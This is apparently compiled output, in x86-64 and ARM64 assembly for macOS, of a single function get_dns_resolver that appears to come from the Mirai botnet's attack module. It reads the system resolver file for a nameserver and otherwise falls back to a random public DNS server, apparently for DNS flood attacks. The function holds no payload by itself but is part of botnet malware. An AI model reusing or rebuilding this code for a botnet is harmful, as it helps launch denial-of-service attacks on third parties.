	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.p2align	4, 0x90                         ## -- Begin function get_dns_resolver
_get_dns_resolver:                      ## @get_dns_resolver
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r12
	pushq	%rbx
	subq	$2096, %rsp                     ## imm = 0x830
	.cfi_offset %rbx, -48
	.cfi_offset %r12, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	___stack_chk_guard@GOTPCREL(%rip), %rax
	movq	(%rax), %rax
	movq	%rax, -40(%rbp)
	movq	_TABLE_ATK_RESOLVER@GOTPCREL(%rip), %r14
	movl	(%r14), %edi
	callq	_table_unlock_val
	movl	(%r14), %edi
	xorl	%esi, %esi
	callq	_table_retrieve_val
	movq	_O_RDONLY@GOTPCREL(%rip), %rcx
	movl	(%rcx), %esi
	movl	%eax, %edi
	callq	_open
	movl	%eax, %ebx
	movl	(%r14), %edi
	callq	_table_lock_val
	testl	%ebx, %ebx
	js	LBB0_14
## %bb.1:
	leaq	-2096(%rbp), %r15
	movl	%ebx, %edi
	movq	%r15, %rsi
	movl	$2048, %edx                     ## imm = 0x800
	callq	_read
	movl	%eax, %r14d
	movl	%ebx, %edi
	callq	_close
	movq	_TABLE_ATK_NSERV@GOTPCREL(%rip), %r12
	movl	(%r12), %edi
	callq	_table_unlock_val
	movl	(%r12), %edi
	xorl	%esi, %esi
	callq	_table_retrieve_val
	movq	%r15, %rdi
	movl	%r14d, %esi
	movl	%eax, %edx
	callq	_util_stristr
	movl	%eax, %ebx
	movl	(%r12), %edi
	callq	_table_lock_val
	cmpl	$-1, %ebx
	je	LBB0_14
## %bb.2:
	movq	_FALSE@GOTPCREL(%rip), %rax
	movq	(%rax), %r8
	cmpl	%r14d, %ebx
	jge	LBB0_12
## %bb.3:
	movq	_TRUE@GOTPCREL(%rip), %r15
	movq	(%r15), %r9
	leal	-1(%r14), %eax
	movslq	%ebx, %rcx
	movslq	%eax, %r10
	subq	%rcx, %r10
	leaq	(%rcx,%rbp), %rsi
	addq	$-2096, %rsi                    ## imm = 0xF7D0
	subl	%ebx, %r14d
	xorl	%ebx, %ebx
	movq	%r8, %rdi
	jmp	LBB0_4
LBB0_6:                                 ##   in Loop: Header=BB0_4 Depth=1
	xorl	%edi, %edi
	.p2align	4, 0x90
LBB0_7:                                 ##   in Loop: Header=BB0_4 Depth=1
	incq	%rbx
	cmpl	%ebx, %r14d
	je	LBB0_12
LBB0_4:                                 ## =>This Inner Loop Header: Depth=1
	movzbl	(%rsi,%rbx), %eax
	movq	%rdi, %rcx
	testq	%rdi, %rdi
	je	LBB0_5
LBB0_9:                                 ##   in Loop: Header=BB0_4 Depth=1
	cmpb	$46, %al
	setne	%dl
	addb	$-58, %al
	cmpb	$-10, %al
	setb	%al
	testb	%al, %dl
	jne	LBB0_11
## %bb.10:                              ##   in Loop: Header=BB0_4 Depth=1
	movq	%rcx, %rdi
	cmpq	%rbx, %r10
	jne	LBB0_7
	jmp	LBB0_11
	.p2align	4, 0x90
LBB0_5:                                 ##   in Loop: Header=BB0_4 Depth=1
	cmpb	$9, %al
	je	LBB0_6
## %bb.8:                               ##   in Loop: Header=BB0_4 Depth=1
	movq	%r9, %rcx
	movl	$0, %edi
	cmpb	$32, %al
	je	LBB0_7
	jmp	LBB0_9
LBB0_11:
	leaq	-2128(%rbp), %rdi
	movl	%ebx, %edx
	callq	_util_memcpy
	movslq	%ebx, %rax
	movb	$0, -2128(%rbp,%rax)
	movq	(%r15), %r8
LBB0_12:
	testq	%r8, %r8
	je	LBB0_14
## %bb.13:
	leaq	-2128(%rbp), %rdi
	callq	_inet_addr
	jmp	LBB0_22
LBB0_14:
	xorl	%eax, %eax
	callq	_rand_next
                                        ## kill: def $eax killed $eax def $rax
	leal	3(%rax), %ecx
	testl	%eax, %eax
	cmovnsl	%eax, %ecx
	andl	$-4, %ecx
	subl	%ecx, %eax
	cmpl	$3, %eax
	ja	LBB0_15
## %bb.16:
	leaq	LJTI0_0(%rip), %rcx
	movslq	(%rcx,%rax,4), %rax
	addq	%rcx, %rax
	jmpq	*%rax
LBB0_17:
	movl	$8, %edi
	movl	$8, %esi
	movl	$8, %edx
	movl	$8, %ecx
	jmp	LBB0_21
LBB0_15:
                                        ## implicit-def: $eax
	jmp	LBB0_22
LBB0_18:
	movl	$74, %edi
	movl	$82, %esi
	movl	$42, %edx
	movl	$42, %ecx
	jmp	LBB0_21
LBB0_19:
	movl	$64, %edi
	movl	$6, %esi
	movl	$64, %edx
	movl	$6, %ecx
	jmp	LBB0_21
LBB0_20:
	movl	$4, %edi
	movl	$2, %esi
	movl	$2, %edx
	movl	$2, %ecx
LBB0_21:
	callq	_INET_ADDR
LBB0_22:
	movq	___stack_chk_guard@GOTPCREL(%rip), %rcx
	movq	(%rcx), %rcx
	cmpq	-40(%rbp), %rcx
	jne	LBB0_24
## %bb.23:
	addq	$2096, %rsp                     ## imm = 0x830
	popq	%rbx
	popq	%r12
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
LBB0_24:
	callq	___stack_chk_fail
	.cfi_endproc
	.p2align	2, 0x90
	.data_region jt32
.set L0_0_set_17, LBB0_17-LJTI0_0
.set L0_0_set_18, LBB0_18-LJTI0_0
.set L0_0_set_19, LBB0_19-LJTI0_0
.set L0_0_set_20, LBB0_20-LJTI0_0
LJTI0_0:
	.long	L0_0_set_17
	.long	L0_0_set_18
	.long	L0_0_set_19
	.long	L0_0_set_20
	.end_data_region
                                        ## -- End function
	.comm	_TABLE_ATK_RESOLVER,4,2         ## @TABLE_ATK_RESOLVER
	.comm	_O_RDONLY,4,2                   ## @O_RDONLY
	.comm	_TABLE_ATK_NSERV,4,2            ## @TABLE_ATK_NSERV
	.comm	_FALSE,8,3                      ## @FALSE
	.comm	_TRUE,8,3                       ## @TRUE
	.no_dead_strip	_get_dns_resolver
.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.p2align	2                               ; -- Begin function get_dns_resolver
_get_dns_resolver:                      ; @get_dns_resolver
	.cfi_startproc
; %bb.0:
	stp	x28, x27, [sp, #-64]!           ; 16-byte Folded Spill
	.cfi_def_cfa_offset 64
	stp	x22, x21, [sp, #16]             ; 16-byte Folded Spill
	stp	x20, x19, [sp, #32]             ; 16-byte Folded Spill
	stp	x29, x30, [sp, #48]             ; 16-byte Folded Spill
	add	x29, sp, #48
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w27, -56
	.cfi_offset w28, -64
	sub	sp, sp, #2096
Lloh0:
	adrp	x8, ___stack_chk_guard@GOTPAGE
Lloh1:
	ldr	x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
	ldr	x8, [x8]
	stur	x8, [x29, #-56]
Lloh3:
	adrp	x20, _TABLE_ATK_RESOLVER@GOTPAGE
Lloh4:
	ldr	x20, [x20, _TABLE_ATK_RESOLVER@GOTPAGEOFF]
	ldr	w0, [x20]
	bl	_table_unlock_val
	ldr	w0, [x20]
	mov	x1, #0
	bl	_table_retrieve_val
Lloh5:
	adrp	x8, _O_RDONLY@GOTPAGE
Lloh6:
	ldr	x8, [x8, _O_RDONLY@GOTPAGEOFF]
Lloh7:
	ldr	w1, [x8]
	bl	_open
	mov	x19, x0
	ldr	w0, [x20]
	bl	_table_lock_val
	tbnz	w19, #31, LBB0_12
; %bb.1:
	add	x1, sp, #40
	mov	x0, x19
	mov	w2, #2048
	bl	_read
	mov	x20, x0
	mov	x0, x19
	bl	_close
Lloh8:
	adrp	x19, _TABLE_ATK_NSERV@GOTPAGE
Lloh9:
	ldr	x19, [x19, _TABLE_ATK_NSERV@GOTPAGEOFF]
	ldr	w0, [x19]
	bl	_table_unlock_val
	ldr	w0, [x19]
	mov	x1, #0
	bl	_table_retrieve_val
	mov	x2, x0
	add	x0, sp, #40
	mov	x1, x20
	bl	_util_stristr
	mov	x21, x0
	ldr	w0, [x19]
	bl	_table_lock_val
	cmn	w21, #1
	b.eq	LBB0_12
; %bb.2:
Lloh10:
	adrp	x8, _FALSE@GOTPAGE
Lloh11:
	ldr	x8, [x8, _FALSE@GOTPAGEOFF]
Lloh12:
	ldr	x8, [x8]
	cmp	w21, w20
	b.ge	LBB0_10
; %bb.3:
	mov	x19, #0
Lloh13:
	adrp	x22, _TRUE@GOTPAGE
Lloh14:
	ldr	x22, [x22, _TRUE@GOTPAGEOFF]
	sub	w11, w20, #1
	ldr	x10, [x22]
	sxtw	x9, w21
	sxtw	x11, w11
	sub	x11, x11, x9
	add	x12, sp, #40
	add	x12, x12, x9
	sub	w13, w20, w21
	mov	w14, #46
	mov	x15, x8
	b	LBB0_6
LBB0_4:                                 ;   in Loop: Header=BB0_6 Depth=1
	sub	w15, w16, #58
	cmn	w15, #10
	ccmp	w16, w14, #4, lo
	ccmp	x11, x19, #4, eq
	mov	x15, x0
	b.eq	LBB0_9
LBB0_5:                                 ;   in Loop: Header=BB0_6 Depth=1
	add	x19, x19, #1
	cmp	w13, w19
	b.eq	LBB0_10
LBB0_6:                                 ; =>This Inner Loop Header: Depth=1
	ldrb	w16, [x12, x19]
	mov	x0, x15
	cbnz	x15, LBB0_4
; %bb.7:                                ;   in Loop: Header=BB0_6 Depth=1
	cmp	w16, #9
	b.eq	LBB0_5
; %bb.8:                                ;   in Loop: Header=BB0_6 Depth=1
	mov	x0, x10
	cmp	w16, #32
	b.eq	LBB0_5
	b	LBB0_4
LBB0_9:
	add	x8, sp, #40
	add	x1, x8, x9
	add	x20, sp, #8
	add	x0, sp, #8
	mov	x2, x19
	bl	_util_memcpy
	strb	wzr, [x20, w19, sxtw]
	ldr	x8, [x22]
LBB0_10:
	cbz	x8, LBB0_12
; %bb.11:
	add	x0, sp, #8
	bl	_inet_addr
	b	LBB0_20
LBB0_12:
	bl	_rand_next
	negs	w8, w0
	and	w8, w8, #0x3
	and	w9, w0, #0x3
	csneg	w8, w9, w8, mi
	cmp	w8, #3
	b.hi	LBB0_15
; %bb.13:
Lloh15:
	adrp	x9, lJTI0_0@PAGE
Lloh16:
	add	x9, x9, lJTI0_0@PAGEOFF
	adr	x10, LBB0_14
	ldrb	w11, [x9, x8]
	add	x10, x10, x11, lsl #2
	br	x10
LBB0_14:
	mov	w0, #8
	mov	w1, #8
	mov	w2, #8
	mov	w3, #8
	b	LBB0_19
LBB0_15:
                                        ; implicit-def: $w0
	b	LBB0_20
LBB0_16:
	mov	w0, #74
	mov	w1, #82
	mov	w2, #42
	mov	w3, #42
	b	LBB0_19
LBB0_17:
	mov	w0, #64
	mov	w1, #6
	mov	w2, #64
	mov	w3, #6
	b	LBB0_19
LBB0_18:
	mov	w0, #4
	mov	w1, #2
	mov	w2, #2
	mov	w3, #2
LBB0_19:
	bl	_INET_ADDR
LBB0_20:
	ldur	x8, [x29, #-56]
Lloh17:
	adrp	x9, ___stack_chk_guard@GOTPAGE
Lloh18:
	ldr	x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh19:
	ldr	x9, [x9]
	cmp	x9, x8
	b.ne	LBB0_22
; %bb.21:
	add	sp, sp, #2096
	ldp	x29, x30, [sp, #48]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #32]             ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #16]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp], #64             ; 16-byte Folded Reload
	ret
LBB0_22:
	bl	___stack_chk_fail
	.loh AdrpLdrGotLdr	Lloh5, Lloh6, Lloh7
	.loh AdrpLdrGot	Lloh3, Lloh4
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGot	Lloh8, Lloh9
	.loh AdrpLdrGotLdr	Lloh10, Lloh11, Lloh12
	.loh AdrpLdrGot	Lloh13, Lloh14
	.loh AdrpAdd	Lloh15, Lloh16
	.loh AdrpLdrGotLdr	Lloh17, Lloh18, Lloh19
	.cfi_endproc
	.section	__TEXT,__const
lJTI0_0:
	.byte	(LBB0_14-LBB0_14)>>2
	.byte	(LBB0_16-LBB0_14)>>2
	.byte	(LBB0_17-LBB0_14)>>2
	.byte	(LBB0_18-LBB0_14)>>2
                                        ; -- End function
	.comm	_TABLE_ATK_RESOLVER,4,2         ; @TABLE_ATK_RESOLVER
	.comm	_O_RDONLY,4,2                   ; @O_RDONLY
	.comm	_TABLE_ATK_NSERV,4,2            ; @TABLE_ATK_NSERV
	.comm	_FALSE,8,3                      ; @FALSE
	.comm	_TRUE,8,3                       ; @TRUE
	.no_dead_strip	_get_dns_resolver
.subsections_via_symbols
